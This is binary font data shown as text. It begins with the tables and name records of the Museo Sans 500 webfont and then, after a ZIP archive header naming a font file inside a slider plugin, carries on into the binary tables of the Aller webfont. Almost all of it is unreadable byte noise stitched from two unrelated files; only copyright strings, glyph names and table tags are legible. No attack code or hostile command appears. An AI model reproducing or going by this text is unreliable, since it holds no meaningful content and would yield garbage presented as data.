�4�;+�	2����/�F+�4�,999�;�)-.03$9��!#99��/9�=� #999��9��9014>;54#"'>32#57##"&3#'#32>=#"H5Owk�S1-�-\D8RMT�C�ո!9@[3�Ѵ�ϴ�lj�g\P�B3'@[FK1 #FrI5�
�* ��qbR+&0"�������Dbf�O!	)>H����+CT��+�)+�G�.+�73�@+�+��M)
+��4:.
+�,3�4+�U/�ֱD
�D�C ��,+�,/�C+�D�+��7 ��	K33�8+�V+�C,�9�7�).:G$9�8�#9�M� #999��9��9�4:�>9014>;54#"'>32#57##"&3232653#".#"32>=#"H5Owk�S1-�-\D8RMT�C�ո!9@[3��y�&A-(.*&��&A-(.*&@g\P�B3'@[FK1 #FrI5�
�* ��qbR+&0"�)(P5��)(O6��Dbf�O!	)>H����+<@D��+�)+�/�>+�B3�=�A2�+��5)
+���E/�ֱ,
�,�=+�@�@�3+�	2��D3+�A�A/�D���/�F+�@=�)9�A�/999�D�9�5� #999��9��9014>;54#"'>32#57##"&732>=#"53353H5Owk�S1-�-\D8RMT�C�ո!9@[3���g\P�B3'@[FK1 
���#FrI5�
�* ��qbR+&0"��Dbf�O!	)>�����H����+<HT��+�)+�/�@+�R+�+��5)
+��LF@
+�L+�U/�ֱ,
�,�=+�I+�I�O+�C+�C�3+�	2����/�V+�I=�/)99�O�F@$9��9�5� #999��9��9�RL�C=99014>;54#"'>32#57##"&732>=#"4632#"&732654&#"H5Owk�S1-�-\D8RMT�C�ո!9@[3���g\P�B3'@[FK1 ZgHGggGHgk&&%%#FrI5�
�* ��qbR+&0"��Dbf�O!	)>�ETTEDTTD&' ''J���%>NU��<+�23�B�%2�+�3��S2�H<
+�!3��O2�V/�ֱ?
�?�F+�	2�"�O2�"�P+� 
�W+�?�99�F�<999�"�56$9�P�%2999� �!+,999�B<�,9�H�+56$9��999��9014>;54#"'>3 36!2!32>?#"&'##"&732>=#"!.#"J/Kmk�a53�E�$%PKR�BT{��b���2dG9ROW�E��?AS�L���f]Q�@`+NYG;!��fu�#CmI6�2�* ����;��"#
�3' �|6O>-��Eag�O*@1}��T�X%9y�"+�73��+��)/�0+�:/�ֱ
��2+�&+�;+�2�#)-67$9�&�"9�"0�&56999��9��
999��	901432.#"32>?#"&/53254&#7&T9�I�WB^9>a1��Π6jI;PJS�GBRyX9
)-b;1%)���7--�)���))�6+&MN@XTw?!�'T���#'s�+��$+�+�!�	
+���(/�ֱ	
�2�	�+�
�)+�	�$&$9��999�	�9�!�9�$�&901432!32>?#".!.#"3#T%��d�
˒2dG9ROW�E����)�iu�Օ��+�وV��$#
�3' ��������T���#'u�+��%+�+�!�	
+���(/�ֱ	
�2�	�+�
�)+�	�$%'$9��&$9�	�9�!�9�%�$901432!32>?#".!.#"3T%��d�
˒2dG9ROW�E����)�iu�Ɩ���+�وV��$#
�3' ��������T���#+u�+��%+�+�!�	
+���,/�ֱ	
�2�	�+�
�-+�	�$&($9��'$9�	�9�!�9�%�$901432!32>?#".!.#"3#'#T%��d�
˒2dG9ROW�E����)�iu��ϴ�mj�+�وV��$#
�3' ����������T���#'+}�+��%+�)3�$�(2�+�!�	
+���,/�ֱ	
�2�	�$+�'�'�(+�+�+(+�
�-+�('�!$9�	�9��901432!32>?#".!.#"53353T%��d�
˒2dG9ROW�E����)�iu�"����+�وV��$#
�3' ������������b�6�+�+�+�/�ֱ�	+��999��9013#3Օ������^����6�+�+�+�/�ֱ�	+��999��901333�ƺ�����������4�+�+�	+�/�ֱ�
+��99�	�9013#'#3�ε�mk	�������^����G�+�+�	3��2�+�/�ֱ�+��/��+��
+0153353������)�����X��F�&4|�"+�*�2/��/���5/�ֱ'
�'�/+�
�6+�'�$9�/�"$9��99�2*�99��99��$9��9014>323&''7&'7%#".732>54&#"X@w�r.V8,

=�����7����$Qv�lq�xAɚ�P}H$�����\��O		�n�q@�7m}}Vr���V��sFV��]��Ep�Eu���F�3��+�3�+�'3�0+�+�
+�	�$*
+�3�$+�4/�ֱ�2�+�3+��+��' ��(+�5+�3�99�'�
*$9�$*�.901333>32#4.#"3232653#".#"��=]�P���(Q<u�!9�&A-(.*&��&A-(.*&�L&LL0��hj<VL'�r:R��)(P5��)(O6P����V�
+��+�+��� /�ֱ
��+�	
�!+��
$9��	99��9014>2 $&732654&#"3#PX���͗X������Д��Ζ��RՕ�sʎRR��s��������ԡ������P����V�
+��+�+��� /�ֱ
��+�	
�!+��
$9��	99��9014>2 $&732654&#"3PX���͗X������Д��Ζ�����sʎRR��s��������ԡ������P����#V�
+��+�+���$/�ֱ
��+�	
�%+��
$9��	99��9014>2 $&732654&#"3#'#PX���͗X������Д��Ζ��I�ε�mksʎRR��s��������ԡ��������P����3��
+��+�'3�0+�+��$*
+�3�$+�4/�ֱ
��+�3+�3�'+�(+�(�+�	
�5+�'3�
*$9��	99�$*�.9014>2 $&732654&#"3232653#".#"PX���͗X������Д��Ζ���&A-(.*&��&A-(.*&sʎRR��s��������ԡ����)(P5��)(O6P����#y�
+��+�!3�� 2�+���$/�ֱ
��+��� +�#�#�+�	
�%+��
99� �99�#�99��	99014>2 $&732654&#"53353PX���͗X������Д��Ζ��h���sʎRR��s��������ԡ���0�����Z�5.�/�
�/��/�	
��/�ְ2��
2�
+015!5353�
���������b��!��P���R't�+�"�+�+��	+�(/�ֱ
��%+�

�)+��99�%� $9�
�9�"�99��
'$9��
99014>327#"''7.&#"32654'PX��s��RaPVb����~PbK[g�f�Q[�HT��\sʎRDqFnI�z���<qHjI���kP+�=#ԡ�f���-�g�+�+�
�+�+�3�/�ֱ��+�2�
�+��9��$9�
�99��99��901332653#57##"&3#��(P<���&̋���Օ�u���;UK'���LZ��������-�c�+�+�
�+�+�3�/�ֱ��+�2�
�+��$9�
�999��99��901332653#57##"&3��(P<���&̋��w���u���;UK'���LZ��������-�j�+�+�
�+�+�3� /�ֱ��+�2�
�!+��9��$9�
�999��99��901332653#57##"&3#'#��(P<���&̋����ϴ�mju���;UK'���LZ����������-�t�+�+�
�+�3��2�+�3� /�ֱ��+���+���+�2�
�!+��9��9��9901332653#57##"&53353��(P<���&̋��դ��u���;UK'���LZ��-�����R�6�+�+�
3�/���/� +��9��99��90133673#"&/7326?3�	��.�o4dF:?;a3����Z>F5��:v~ �+QGv�����fw�*e�+�!�+�+�&�/�+/�ֱ�22��$+�
�,+��9�$�!&$9�!�99�&�9990133>32#"./#326&#"�� :=\4��o���CsE3

������=jU1�f@�)V( -�����#22%5�/����J�*W��R�"\�+� 3��2�+�
3�/���#/�ֱ��+�"�$+��9��99��9��990133673#"&/7326?53353�	��.�o4dF:?;a3�����Z>F5��:v~ �+QGv�����b��w*23�'+�
�+�	��3/�ֱ�4+�� !$90146$32.#"32>?#"$3373#bq��a�vZdU\�F������L�fQmlx�e�����jm���ۛ�r'88�6*"�������'77�	P<2�Y����R���$,M�"+��%+�)3�+���-/�ֱ
�.+�"�9��
999��	9�%�'+9901432.#"32>?#"3373#R9�I�WB^9>a1��Π6jI;POY�L���km����7--�)���))�9,$4�������	B�+�
�+���/�ֱ

�
�+��+�
�99�
�9013!2!%!2#!3373#���J��s�����!�����jl��������������X��f�*4��+�+��
+�/3�+�(��5/�ֱ
��$+�
22���-+�2$+�6+�$�99��9�-�+/99�2�0499�(�999��	
99�
�+9014323&53#57##"732>54.#"654'3X�CtD2
	Ƽ8G{H�ˣ�<hV1>�^��y'�3�*"00'�ZbFB3*+��+W�_`�n��kA<A72Tl�/R�+�	�+��
+���/�ֱ	
�2�	
+�@		+�@		+�@		+�+�	�9013!!!!!3373#�G������5�km������;��/�����T���#+z�+��$+�(3�+�!�	
+���,/�ֱ	
�2�	�+�
�-+�	�$(*$9��)$9�	�9�!�9�$�&*9901432!32>?#".!.#"3373#T%��d�
˒2dG9ROW�E����)�iu��jm����+�وV��$#
�3' �����������b!�+�+�/�ֱ��+0133�����	8�+��+�
/�ֱ
�
+�@	+�+��	9990133!3����������
�
�����-�
+��+�/�ֱ�+��99901337#".3��:5"#(BP7&
������V=�
$<n:����T�+��+�
3�/�ֱ
�
+�@	+��+�
�+��
99�
�99��90133!654'3����'�3��
�}kA<A72Tl�����N�
+��+�3�/�ֱ��+��+��
$9��999��901337#".654'3��:5"#(BP7&2&�3���V=�
$<n�hD>?72Tl�JV�+�
3�+�3� /�ֱ
��
+�

�!+��999�
�99�
�999��9901333&53#./#3373#���<��{<]�jm�����T#h##�P��Z�$i##�R�V�����F�#n�+�3�+� 3�+�
+�	��$/�ֱ�2��+��%+��99��
 "$9��!9��99�
�"9901333>32#4.#"3373#��=]�P���(Q<u�!�km����L&LL0��hj<VL'�r:R������b��L�'��+��+��+�
�+�$�
+���(/�ֱ��!+�
�
2�!
+�@		+�@
	+�@	+�)+�!�99��!9��99�
�"9014$323!!!!!!"#"$7326?&#"b�W�6� ������ �6���ш��$I?R�����S���;��/��UΞ���N���R���%*4;��!+�(3��-2�+�3�3�92�5!
+�5��</�ֱ,
�,�0+�
�52��6+�
�=+�0,�(99��$%$9�6�!999��999�!�9��$%,$9�5�09�3�+$901>323>32!326?#"&'##"& 654&#"!.#"R�����F?ؓ��d�>byEO�%&RPW�E��AD癗�4�*�ѓ��)�iv�d@���tv��وVS�S+=�3' �vw��>���Ϩ������ a�+�3�+��
+���!/�ֱ
�2��+��"+��
$9��9��
99��9013!2#!!2654'&+3���[p��v3���#w�s@�ꐕ���!*Ѝ��&/��?���y�@!�����H�+�+�+�3���/�ֱ�2�+��99��99��901333>3&#"3��%�t3a�#����Nw���rRh�X�����$h�+�3�+�$�
+���%/�ֱ
�2��+��&+��9��
$9��9��
99�$�9013!2#!3373#!2654'&+���[p��v3���3�kl��ρ#w�s@���!*Ѝ��&/��?��������y�@!���P�+�+�3�+�3���/�ֱ�2�+��$9��99��9901333>3&#"3373#��%�t3a�#��kl����Nw���rRh�X�����V��9Aj�4+�
�+�$
��B/�ֱ'
�'�
+�1
�C+�'�:99�
@
$,4;>@A$9�1�?999�$�1$9��901?32654.54$32.#"#".'3373#VsLQz<j�0QittiQ0	�K�[G\AFh4r�0QittiQ0��V�lT��jm��Ϧ�6("rc2R<625ESvG��*+�+!{X0N8205FV|K��'98|����H��H�5=�0+��6+�:3�+�"��>/�ֱ%
�%�
+�-
�?+�%�699�
@
")07:<=$9�-�;999�0�9�"�-$9��9�6�8<9901?32654.54632.#"#".'3373#H`;Ad2Eg;^rq^;֡@sJ8
P27W.Gc;^qr^;ϨG�YD`�km����* E<&=-,7EmE��!"� @?%<++8EmE��--6����
�D�+�+��2�/�ֱ
�
+�@	+�
+�@	+�+��
99015!!#3373#
��˶�jm�������
�����?����$��+��+�
+�3��2�
+�@	+�%/�ְ2�	�2�	
+�@		+�	
+�@	+�	�+�"�&+�	�99�"� $$9��9015333#37#".5654'3?���� /@30)0ZtT;3'�4^�+�ՠ�3;Y0�
0O�c�'k=:A:,Rk���##(��+�
�+�
3�/� +�&/�+�)/�ֱ
��+�+��#+�+��	+�
�*+��9�#�999�	�9�& �9901332653 4632#"&732654&#"��ŧ�������fHGhhGHfk%'&$��Z������Z��(zFTUEDSSD%& ((���-�#/��+�+�
�+�-+�+�3�!'
+�!+�0/�ֱ��+�$+�$�*+�+��+�2�
�1+�$�99�*�!99��99�-'�9901332653#57##"&4632#"&732654&#"��(P<���&̋��#fHGggGHfk%'&$u���;UK'���LZ��wETTEDTTD&' ''�Z�+�+�
3�/�3��2�/�ֱ

�
+��/��
+��+��99��90133673#53353�,+-�˞�����%$[eR����d�����Ty2�+��+�
�� /�!+��99�
�
990135>?5#!5!63!3373#T�5'F�q��G4&F���km��·�$C���$A�����P��D�+��+�3�+�
�� /�!+��99�
�9��
9��990135>?5#!5!63!3373#P
+ D�V��,
#D��jm���s�0�r�n/������9�P�/��+��+/��
/�	$33��!22�0/�1+�6�?��+
��
��%�� ���	
+�
+�%�!% +�$% +�
 %....�	
 !$%........�@0132>7#537>32&#"3##"&/9N73A1'/��	FYvZ0"Vg=3@1&�1	FYuZ/ H+.W9!��b�O1
�.W9 ��b�N0
�
+�/�3�+�/�ִ+�	+��9013#'#�ε�mk
�����
-�/�+�2�/�ִ+�	+��99013373#�km��������D�/�+�
+�@	+�
2�/�ִ+��	+�+�+�	�90153326=3#"&�G41H��oq��=>?>q�FX"�/����/�ֱ��+0153��F��R��#L�	/�+�/�+�/�ִ+��+�+�+��	99��99014632#"&732654&#"RfHGggGHfj&'&%�FTUEDSSD&& ((\�X�/�/�	+�/�ֱ
�+014>?".\*;<}6*":/2-6(�.[?3
0/=#,�
'<�XX�/�3�+�/�+�2�/�ִ+��+�+�+��99��9��9013232653#".#"��&A-(.*&��&A-(.*&)(P5��)(O6�
P0�/�3�+�2�/�ִ+�	+��9901333��������
�������5!�V����5!�V����5!�V������/����/�+015!�6��������/����/�+015!�����d-}�"�+�+�/�ִ+�+013d��X-��qh/��"�+�+�/�ִ+�+013hY��/��qV�Hh� �/�+�/�ִ+�+013VX�����qd-��2�+�3�+�2�/�ִ+�	+��9901333d��X^��X-��q��qh/��2�+�3�+�2�/�ִ+�	+��9901333hY‡�XÅ/��q��qV�H��0�/�3�+�2�/�ִ+�	+��9901333VX���X�����q��qV��
�N�+�+�3��2�
+�@
	+�/�
ְ2�	�2�	

+�@		+�
	
+�@
	+�
+015333##V�����o���f��+�{��/�e�+�+�	3��2�/�3��
2�
+�@	+�/�ֱ22��22�
+�@	+�
2�
+�@	+�2�+0153#5333#3##{���������^�q���f�����<�h��	.�/�+�+�
/�ִ+�+�+01632#"h����������������E�+�33��	22�+���/�ֱ
��+�
��+�
�
+01353!53!53��H�H�������b����	
#/9C��
+�!+�73�'�<2�+�+��-!
+�23�-�A2�!
+���D/�ִ+��+�$+��+�$$+�$�*+�$+��0+�:+�:�?+�5$+�E+��
$9�*$�!999��9�?:�3782$9�-
�05$9��990146  &332654&"4632#"&732654&#"46  &72654&"b������R���BWA@WW�𵂀������WA?YY?@X8�������X�XX�X�}��}~������ZπWVA@Z��}��|~��~AWX@?ZZ?}��}~��~AWWA?ZZZ�q� �/�ִ+�+��99013	#ZP��P�B��[�\f�}�!�/�ְ2�+�+��9017	3	fP���P������[�\�R��+�+�/�+01#3����P��ZN��q�)p�&+��
+�
�
+��&

+�3�+�2�&

+�3�+�2�*/�)ְ2��2�++�)�999��#90153&7#53632&#"!!!!326?# 'Np		p�>{�3h1LV��4@��
)�0�-^'c�����:�RB��*����DP����#2�/!
��+�	33��2�
+�@	+�22� /�ִ+�
+�@	+�
+�@	+��+�+��+�+�!+��	9��
99��9015!!#33673#7###/
�ɜH��ՐE�+�}�+�������)+
1%�{>�N�>���V}=.�	/�+�+�/�ִ+�+�
+014632#"&�ۚ��ڛ��˛�כ���u�u�/F�/��+��'/� �, '+���0/�1+��999� '�$/99901>323267#".#">323267#".#"u<�WAvKc0;z-T<�WAvKc0<w.T<�WAvKc0;z-T<�WAvKc0<v/�?W-6-A0y>U-5-A0�?W-6-A0y>U-5-B1�P\D&�/�3��
2�/�3��	2�/�+015!7!5!73!!!'7�L��Z�iw�����js5���H����F����D5�/���/�
+015!!���"�G��G������ʶ�����`5�/���/�
+017555!!��#��D��HZ�65��V��9�

5�+�+�+�+�/�ִ+�+�+011!

��R�#h�+�3�	+��!+� �+�3��2�$/�ְ2��2�
+�@	+��+� 2��"2�%+��	
99015354>32&#"!#!#53R�9SqY/&		2?.z�L�w�m�#a�O1
�,S7��m��mn��R����-m�(+�3�$�	+�3��(	
+�3��2�./�ְ2��2�
+�@	+�
+�@	+��+�!�/+��	
99015354>32&#"3##337#".R�9SqY/&		2?.���l�:5##(BP7&^�1a�O1
�,S7-���^�����V=�
$<n-~_<���p���p���R�##�*����D�����Z�obxo��j�j9�Jv�
7���;J��h�q�R�?�b�y;H�u�dV�X`vDZ�vy�B�y��b����+�d�S�K=��;�����b���d �^V�
���D�-��Th�;9jH���9�J9H��`R�XpT�R�X�������5��O����P���X��H�?���#-"P�dC��?��O��m�s�9�b��o`�rZ�{���o��Xr��J�X3��^�tf�P�f��������SS�SS/s��b�b�b�b�b�f�������������9H9H9H9H9H9H�JbTpTpTpTpT����������X���P�P�P�P�P��P�����������b`R��X��pT��;��;�\�����bR �� ��^V�H�
�?������T"P�9�������R�\�����#�#a�00�me��������?��d�h�V�d�hV`V�{Ih(�m�b�Z�fX���N�/��u������
�R�R,,,,`�n�Fh���"@^~�T�*���Z�		,	B	d	x	�
\
�^�����
F
�
� r���d�����T���<�8�p�D���:f�4��j�$t����X��b���L�(� 
 �!B!b!�!�"X"v"�##(#r#�#�$:$\$�%%H%�&&z&�'P'�(,(r(�))D)n)�)�*>*�+0+�,,�--�-�.*.v.�//f/�0�1.1�2�3\4.55�66�7
7�7�7�8"8`8�9|9�:>:�;8;�;�<Z<�==�=�>@>�??�?�@D@�A&A�A�A�B4B|B�C.C�D"D�E6E�E�FHF�GjG�H"H�I4I�I�J4J�J�KKNKlK�K�L@LnLnLnLnLnLnLnLnLnLnLnLnL|L�L�L�L�L�MM&MTM�M�M�N@NlN�N�O~O�O�O�O�P\P�QQlQ�Q�Q�RR�R�V9�	p	p	�	"�	,�	
�	�	T	`		x	
:�	>�	>	F	Z	�`	�0vCopyright (c) 2008 by Jos Buivenga. All rights reserved.Museo Sans 500RegularFONTLAB:OTFEXPORTMuseo Sans 500 Regular1.000MuseoSans-500Museo Sans is a trademark of Jos Buivenga.Jos BuivengaJos BuivengaSpaced and kerned with iKern.http://www.josbuivenga.demon.nlhttp://www.josbuivenga.demon.nlMuseo Sans500Webfont 1.0Wed Dec 11 14:42:14 2013�gf	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�������������������������bc�d�e�������f����g����h���jikmln�oqprsutvw�xzy{}|��~������	�

���������������� !"#$%������������&����'(������)*+glyph1uni000Duni00A0uni00ADDcarondcaronEcaronecaronLacutelacuteLcaronlcaronNcaronncaronRacuteracuteRcaronrcaronTcarontcaronUringuringuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205FEurouni25FCuniFB01uniFB02�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E�3+�+D� E�3+�+D� E��+�+D� E�l+�+D� E�9+�+D�	 E�3+�+D�
 E�	7+�+D� E�
5+�+D� E�)+�+D�
 E�+D� E�

+�Fv+D� E�u+�Fv+D� E�8+�Fv+D� E�
�+�Fv+D� E��+�Fv+D� E��+�Fv+DY�+R��PK!�?mod_ap_smart_layerslider/admin/fonts/aller/aller_rg-webfont.ttfnu&1i�0FFTM`���<GDEF�XVGPOS�G���<pGSUB59> 8OS/2��n�AX`cmap�@X�A��cvt �/C�BfpgmS�/�C�egasp	F@glyfUjORFP�lhead��
�6hheam��$hmtx�]�	�loca��(��maxp�� name�=��xposty2�0�prep��L��webf �S��=���ъ����GN
}~�����������������
.Hlatn
TRK ����casekern.y2��d��(z�	
,&�
�,*~$��~fX���
���@�z > h!!V!�"$"�#2#�$h$�%,%�&('$'t'�'�(N(�(�(�)2)|)�)�*L*�*�++J+�+�,V,�--n-�..N.�.�.�/0/\/�0000\0�0�0�11F1n1�2242\2�2�2�3363l4F4t5466�6�7.7�7�99R9|9�:&:�:�;B;x;�R#�mo}�����c�@(2�R�=���=�=�=���=�q79:<IVT\"�����}������}�q��������������\���������)

	""&&**22447799::<<??
FFGG
HHIIRRTTYYZZ\\ mm�������������������� �� ������������������$$��x$,
�����������7799<<==]]	��������������%>fn+�������������������������������������������������������"&&**2244DDFFGG	HHIIRRTTVVWW!XX#YY%ZZ'\\)mm��������������������#��)��)��������&��@H���������������������������""$$--7799::;;<<==	??JJ
]]}}��������������������'�~08
���������������FFGGHHRRTT
������������(�����Lz�5�����������������������������������������3��������������������!##*##$$66==DDFF
GGHHJJPPQQRRSS!TT$UU&VV(YY-ZZ/]]3��������
��������������#)j"*	���������
""77<<LLMM����������*( ������-�DL����������������������������		&&**2244FFGGHH	RR
TTXXYYZZ\\mm����������	��
��
��
����������
��.
JR�����=��H����3�\������y��D�}����������\

""&&**2244778899::<<	??LLYYZZ\\����������	����������	��������/�@H���������������������������""$$--7799::;;<<==	??JJ
]]}}��������������������2�������BJ�����������)����������������

	$$--;;==DDFF
GGHH
JJRRTTmm��������
��
������������3�4<����������������w������

""$$7799::;;<<==??	JJ
MM}}������������������
��4�8@��������������������&&**22447799<<FFGG
HHRRTT����������������������������5H$,
�����������		

66��6���C�}�����������q�N������X�m���X���X���m���X����D�m��+�q�����������m���m���X�m�m���j�X�m
�m���`�u�q������u�����������������\��9++3##$$&&**224466DDFF
GGHHIIJJPP#QQ%RR'SS)TT,UU/VV1WW4XX7YY9ZZ;[[=\\?]]Amm}}����������������
������%��'��'��7��?��?����'��.��.��+������7F$���������JJ����8�������8������������u�����������������������������{������������������������D������������q����������.		))0##$$&&**224466DDFFGGHHJJPP!QQ#RR%SS'TT*UU,VV.WW1XX3]]6mm}}��������������������#��%��%��3����%��)����9xv~3��\���������H���������������������������������������
������������)&&.##
$$&&**2244DDFFGGHHJJPPQQ RR"SS$TT'UU*VV,]]1mm�������������������� ��"��"����"��)��)��&��:�>F�����������������������		&&**2244FFGGHH	RR
TTmm����������	��
��
��
����
������;���C������������h�L�������L�^���L���L�������L����L�^��5���������������������L�^�����D�L�^�����b�}�q��������������������������8		,,3##$$&&**224466DDFFGGHHIIJJPP$QQ&RR(SS*TT-UU/VV1WW4XX7YY9ZZ;[[=\\?]]Amm}}����������������������&��(��(��7��?��?����(��,������<���@H������������������������&&**2244DDFFGGHH	RR
TTWWYYmm������������	��
��
��
����
��=�DL����������������=������������������""$$--667799::;;<<==	??
DD
JJ]]������
�������������b (����q���	

""??YYZZ��������DD���.6�������������f�������

""??IIJJYY
ZZ[[\\
]]}}��
��
����	����	������E�"*	���������FFGGHHRRTTmm����������������F��.6�������������f�������

""??IIJJYY
ZZ[[\\
]]}}��
��
����	����	������H������>F��#3R=�������������=?���"		

""??@@DDFFGGHH	JJRRTTVV]]``mm
������	��
��������������������
I�&.5�����H����

		FFGGHHMMRRTT
��������������	Jb (����q���	

""??YYZZ��������K�$,
�������������DDFFGGHHIIJJRRTT	����������������N(���YO��b (����q���	

""??YYZZ��������Pb (����q���	

""??YYZZ��������Q��.6�������������f�������

""??IIJJYY
ZZ[[\\
]]}}��
��
����	����	������R�������.6�������������f�������

""??IIJJYY
ZZ[[\\
]]}}��
��
����	����	������S$)MT�(0��)�������`���

		DDFFGGHHJJRRTT
VV����������������	U< ������JJVV����V,����W�$,
��������f��FFGGHHJJRRTT	mm����������������Y�"*	����������FFGGHHJJRRTT��������������Zz (��������
FFGGHHRRTT��������������[�"*	�����)����FFGGHHMMRRTT��������������\���&.�����������
DDFFGGHHRRTT	mm������������������]p"*	�����������

??IILLVVYYZZ���������H �����??��������.6�������������f�������

""??IIJJYY
ZZ[[\\
]]}}��
��
����	����	�������4)�qMM�����8@��������������f=�����DDFFGGHHJJPPQQ	RR
SSTT
UUVVXX]]����������	��
��
����
����������L4<���q���������m�����������0 (��
������D (��������mm����Z08����������������}}����.&=
#B$,
���5������b�����,$������8"�������F"*	��)���������mm����F.6�H��������q���b������`��$��Z08����������������}}����B$,
���)���%��������Z08����������������}}����*"�����( ����`*2
���7�����������H���

mm����
��8"�������h2:���H���������b���mm������`*2
���u������������		mm����	��F"*	���������mm����f08���+����������������T����mm������6&���������f6>��q�����������������

}}��
��8"�������<&������y���

??$��?8"�������:$�������

??( ����> (���������

??`$,
�\����`)����

����*"������?( �����?&���2"�����

$��&���4$��������

$��6&�������

\&.��������H)������

����( ����$��$=M*"�����$RM>*"�����$=M^.&����))���
�08�\������

��������$$&&**224477::;;	FF
GGHHRRTT������������
����
����������*"��3����:B�����H�7�}���������q����H&&**22447799::<<YYZZ\\�������������������4<�����q����������������&&**22447799<<FFGG
HHRRTT������������������������m��6>�������+�{���5�������������$$--667799::;;<<	==
YY
]]������	��	}�@08����������������������*"���������$,
�����\�q�����&&**22447799::<<������������?6&.�����������"DL�}�3����������������h�����������������#$$&&**2244DDFFGG	HH
JJPPQQRRSSTTUUVVXX]]������������������
��������������4$,
���\���������&�q��v"*	����������-$$--77;;<<==II����������	*"�����X$����)=77<<IIJJMM������c$���$,
����������������u&&**2244778899<<MM	���������������2"*	���������h (��f������
$$--6677<<==��������#,$�������
8�latn
TRK ����case2case:dpng@fracFligaNligaVnumr\ordnb
,4<DLT\dV���$>Xf��F 2<�(�H�(�H�H�H$2DR	$D	$D	2R	2R{tu�IL�LI�IO�OI{tu	tu{~���Lx9$%&'()*+-./0123456789:;<=��������������������������������DKM]����0��8l|l|$2DRP��3�3�f��P [DAMA@
�f�f�k �� ��* 

~�Sx�� 
    " & / : _ �!"%����
 �Rx��     " & / 9 _ �!"%���������p�L����������������7�����	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ع�������y�������������������qz�����������������������������D�,�K�LPX�JvY�#?�+X=YK�LPX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-��DdU.�/<��2��<��2�/<��2� �<��23!%!!D �$��hU��D������#e�+�33��	22�+�$/�#ֱ��S+��/�33��2���/�%+�#�999��!9017467>32#"&'.>32#"'�7;9939
/17)q;997m������6�+�
$3�+�2�/�ֱ��+��+01>32#"%>32#"�31/25d31/25�2��2���5�:>��9/�+128$3��#;<$2�9
+�@9.	+�52�/�"=>$3�
�$2�

+�@
	+�2�?/�7ֱ3�37+�-+�
+�@	+�3�+��,+�0-+�0/�,-+�@+�6�?��+
�7.�.�7�3�����?��]+
�0.�.�0�,�����7�7+�7+�7+�3�3+�0�0+�,�,+�",+�#,+�+,+�0�10+�3�23+�7�87+�3�;3+�0�<0+�=0+�3�>3+�,037........@"#+128;<=>................�@01467!#&547!>3:!>3:3#3##"'!#"'#&%!!�
�
-)\,*����/+/+��1/+2��\���,R!/-"F��F��%$/'��*-��q��q%}R��;�E��A+��A
+�@A:	+�6+�"/� 	��F/�ֱ(�(�=+�2�7+�2�7�	+�3�G+�(�9�=�A$9�7�%-999�	�./99�3� "99�A�9�"�(3$9� �%9017>732654./.54675632.#"#"&'5"#".�F�h��#EkHb=gL(��')!V�<
#7�^��$Hd@NJvT/ƴ&%
?fXR'-\+"�s9N9/)=TsO����VTbf1H7-!AZ{X��#��	Z���,@L��++�<+�D�+��<
+��2J<
+�2��M/�ֱ��+�
�
�-+�A�A�G+�7�N+�� +$9�
�(9�GA�!2<'$9�+� (-7AG$9�2�
$9014>32#".732654&#">32#"4>32#".732654&#"Z/^�bb�`//`�bb�^/�\ida]hda��37�#19�/^�bb�`//`�bb�^/�\ida]hdaX�wFFw�XZ�uFFu�Z��������l��X�X�wFFw�XZ�uFFu�Z�������w���3B��/+�7�
+��>/

+�(3�	�"2�C/�ֱ4�4� ��
�/�
�4�<+�*�!2�*<
+�@*%	+�D+�<�
/7$9�*� 9�>7�9��9�� 999�
�9014>7.54>32.#"3!3!!#".732>=!"w'Ga7XyFv�Z5�G5b/D\;u���
��V�߇məZᰨw�V �aJwR-�D�qT'�{Z�X+/H"#7E%Xi��#-*��}�}>2j����=g�G�3Zu��F�#�+�
+�/�ֱ��
+01>32#"�31/25�2��f��'=� /�ֱ�!+014>7>32#"&'.f+FX/45RO::OR91/XF+o�"��G+�������+F�!f��'=� /�ֱ�!+01>54.'>32#"&fRP99PR53-ZF++FZ-19��+��?��=�+H��ݡ����FN���
!'8�+�+�(/�ִ+�)+��
999��#9901677.632#"&>7%&N!#�!A�3�"'(TA!�3H!�#f?:CRF���/�#�����/�#�C9@bF���<�/�3��2�
+�@	+�/�ְ2��
2�
+�@	+�+0147!>32!!#"'!&�T+-Q��-3'���1)u��-/��s))�m�d�/�3�	+�
/�ֱ�+��/��+�6�=��+
�������..�@��
9��901>32#"&)y3/:�31���8`���
!�/����/�ִ+�+01467!!.`��=3424{��s�9�+��+��	22�/�ִ!+�!+�	22�+017467>32#"&'.{7979q;997H���
�+�+�/�+013>32#"&H�/2�01��?d��o=B�+��/��� /�ֱ��+�
�!+��99��
99014>32#".732654&#"dB��Á@B�Ł���@נ�����������ff������gg�����������53H�	+�
�2�
	
+�@
	+�/�ֱ�
+�@	+�
+�@	+�+��9013!!&547!.�!%��4��!/�{/'+-)/-)q�#Eu=#;�#+��	/���$/�ֱ�%+�#�9�	�999��9017>54&#".'>32!!u�5]C'��b�?H�uh�}C����q�?qjg7mr-)V-5/^�c�����,-b�j)+R�)/��/��/���,/�ֱ$
�-+�$�99�)�9��$999��9��901>732>54&#"'!&5467!6232#"&b#B�\N�d<��)T)V��=��`�\-\��wf�R-V)  JuT{)/0��Cm�B��}<!D���NA�/�3��2�
+�@
	+� /�ְ2��
